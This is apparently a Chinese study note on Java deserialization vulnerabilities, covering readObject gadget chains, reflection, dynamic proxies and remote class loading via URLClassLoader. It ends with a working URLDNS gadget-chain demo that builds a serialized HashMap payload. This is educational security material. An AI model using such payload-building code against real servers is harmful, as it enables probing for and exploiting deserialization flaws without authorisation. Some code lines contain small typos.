java反序列化

JAVA反序列化

基础

java对象 <—> 字节码

序列化反序列化

  1. 需要有一个serializable的接口 不需要实现 需要有

可以用fileOutputStream fileInputStream

transient 标记的对象不会被 序列化

如果重写了writeObject 或者 readObject 就会调用自己的 不会用原生的

漏洞成因

如果接受了一个类 反序列化后里面有readObject类 就会自动调用

传到服务器上的代码 如果反序列化了 就会直接执行代码

  1. 入口类readObject 直接调用危险方法
  2. 入口类参数中包含可控类 这个类有危险方法 readObject时调用
  3. 可控类套可控类 直到一个类存在危险方法 readObject时调用
  4. 构造函数/静态代码块 等类加载时隐式执行

入口类

  1. 继承 serializable
  2. 入口类 (重写readObject 参数类型宽泛 最好是jdk自带 也就是 HashMap

HashMap为什么要重写writeObject 和readObject

  1. 调用链 相同名称 相同类型
  2. 执行类

反射

作用

让java具有动态性

修改 已经存在的对象的属性

动态生成对象

动态调用方法

操作内部类 和私有方法 xxx.setAccessible(true)

1
2
3
//调用类里面的方法
Method xxx = 类名.getMethod("方法名",函数类型)//私有的用getDeclaredMethod 加上修改权限xxx.setAccessible(true)
xxx.invoke(实例化对象,value)

在反序列化中的使用

定制需要的对象

通过invoke调用除了同名函数以外的函数

通过Class类创建对象 引入不能序列化的类

invoke

可以知道getRuntime 没有继承serializable是不能被反序列化的

为什么在反序列化中用它呢

具体利用是

找到某个invoke方法 它会以getRuntime 作为参数

从而动态调用getRuntime实现反序列化

动态代理

不修改原对象 通过代理类扩展一些功能

静态 没什么可写的

要代理的接口 需要做的(调用处理器) 类加载CalssLoader

在反序列化中的运用

和readObject类似 -> 反序列化自动执行

invoke -> 有函数时调用

可以拼接两条链 无论前面是什么链 后面都会固定

类的动态加载

ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

localClass->findClass(重写的方法)->defineClass(从字节码加载类)

URlClassLoader 任意类加载 file/http/jar 协议

1
2
3
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://localhost:9999/Hello.jar!/")});
CLass<?> c = urlClassLoader.loadClass("Hello");
c.newInstance//ClassLoader.defineClass 不会直接初始化

ClassLoader.defineClass 字节码加载任意类 私有

Unsafe.defineClass 字节码加载public 类不能直接生成 Spring 里面可以直接生成

URLDNS

利用链

1
2
3
4
5
6
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

Demo

UrlDns.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, Integer> hashMap = new HashMap<>();

URL url = new URL("xx.xx.xx.xx");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");//private类 反射调用修改
hashcodefield.setAccessible(true); //设置为可修改bian'chen
hashcodefield.set(url, 123); //这里不要发起请求,把url对象的hashcode改成不是-1
hashMap.put(url, 1);//给map赋值的时候用到了put方法 也会走一遍hashcode
//导致hashcode不为-1 变成了url的hashcode
hashcodefield.set(url, -1);//再反射赋值为-1
serialize(hashMap);
// unserialize("ser-urldns.bin"); //反序列化利用
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser-urldns.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize (String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}


}